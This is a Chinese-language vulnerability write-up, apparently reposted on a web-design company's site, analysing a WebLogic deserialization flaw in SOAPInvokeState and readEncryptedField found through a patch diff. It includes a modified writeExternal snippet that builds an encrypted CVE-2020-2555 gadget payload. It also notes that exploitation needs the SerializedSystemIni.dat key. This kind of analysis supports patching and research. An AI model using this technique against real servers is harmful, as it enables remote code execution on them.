本篇文章為大家展示了怎樣進(jìn)行weblogic 反序列化漏洞分析與復(fù)現(xiàn),內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
目前創(chuàng)新互聯(lián)公司已為上千余家的企業(yè)提供了網(wǎng)站建設(shè)、域名、虛擬空間、網(wǎng)站托管運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、萊西網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。
這兩個(gè)洞應(yīng)該都是5月更新的補(bǔ)丁,分析時(shí)候無意中發(fā)現(xiàn)的??戳艘幌侣┒赐?jiǎn)單,就是利用有點(diǎn)苛刻
diff 補(bǔ)丁,截圖如下
可以很明顯的看出,將ObjectInputStream更改為FilterInputStream。在weblogic中,F(xiàn)ilterInputStream負(fù)責(zé)檢查反序列化的類種是否存在可以利用的Gadget,而ObjectInputStream不會(huì)。并且在類的readObject 方法中,通過T3協(xié)議反序列化默認(rèn)的參數(shù)為FilterInputStream,以此來防御反序列化漏洞。
除非類的readObject中亂調(diào)用ObjectInputStream,否則是不會(huì)產(chǎn)生反序列化漏洞的。
在SOAPInvokeState的readExternal中,我們只要能走入以下的流程即可
if((flags & 1) != 0) {
try {
len = in.readInt();
byte[] bytes = new byte[len];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
this.subject = (AuthenticatedSubject)in2.readObject();
} catch (Exception var13) {
(new NonCatalogLogger("WebServices")).warning("Couldn't completely read SOAPInvokeState object", var13);
}
看一下writeExternal方法,被實(shí)例化的類中存在subject,就可以讓readExternal執(zhí)行上面的反序列化流程
if(this.subject != null) {
ByteArrayOutputStream var12 = new ByteArrayOutputStream();
ObjectOutputStream var13 = new ObjectOutputStream(var12);
var13.writeObject(this.subject);
var13.flush();
byte[] var5 = var12.toByteArray();
var5 = EncryptionUtil.encrypt(var5);
var1.writeInt(var5.length);
var1.write(var5);
}
當(dāng)然,還下面問題
在EncryptionUtil.encrypt加密時(shí),會(huì)根據(jù)Kernel.isServer()為true,才會(huì)進(jìn)行加密,否則返回原數(shù)據(jù)。 因此加密之前需要調(diào)用KernelStatus.setIsServer(true)設(shè)置狀態(tài)為true,或者強(qiáng)行加密。
public static byte[] encrypt(byte[] var0) {
returngetEncryptionService().encryptBytes(var0);
}
在weblogic.security.internal.SerializedSystemIni#getExistingEncryptionService
中,會(huì)讀取SerializedSystemIni.dat
作為密鑰,也就是說,需要認(rèn)證或者配合文件讀取才能利用該漏洞去攻擊weblogic
public static EncryptionService getExistingEncryptionService() {
String var0 = DomainDir.getRootDir();
String var1 = var0 + File.separator + "security"+ File.separator + "SerializedSystemIni.dat";
File var2 = new File(var1);
if(!var2.exists()) {
String var3 = var0 + File.separator + "SerializedSystemIni.dat";
File var4 = new File(var3);
if(!var4.exists()) {
returnnull;
}
var1 = var3;
}
SerializedSystemIni var5 = new SerializedSystemIni(var1);
returngetEncryptionService(var5.getTheSalt(), var5.getTheEncryptedSecretKey(), var5.getTheAESEncryptedSecretKey());
魔改一下 writeExternal為下面的代碼,再反序列化即可
BadAttributeValueExpException exp = null;
try {
exp = cve_2020_2555.getBadAttributeValueExpException();
} catch (Exception e) {
e.printStackTrace();
}
out2.writeObject(exp);
out2.flush();
byte[] bytes = baos.toByteArray();
bytes = EncryptionUtil.encrypt(bytes);
out.writeInt(bytes.length);
out.write(bytes);
}
}
原理一樣,詳見下面的代碼
private Object readEncryptedField(ObjectInputStream in) throws IOException, ClassNotFoundException {
int length = in.readInt();
if(length <= 0) {
returnin.readObject();
} else{
byte[] bytes = new byte[length];
in.readFully(bytes);
bytes = EncryptionUtil.decrypt(bytes);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in2 = new ObjectInputStream(bais);
returnin2.readObject();
}
}
上述內(nèi)容就是怎樣進(jìn)行weblogic 反序列化漏洞分析與復(fù)現(xiàn),你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
網(wǎng)頁(yè)標(biāo)題:怎樣進(jìn)行weblogic反序列化漏洞分析與復(fù)現(xiàn)
文章路徑:http://jinyejixie.com/article34/gggipe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供標(biāo)簽優(yōu)化、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站制作、手機(jī)網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)、虛擬主機(jī)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)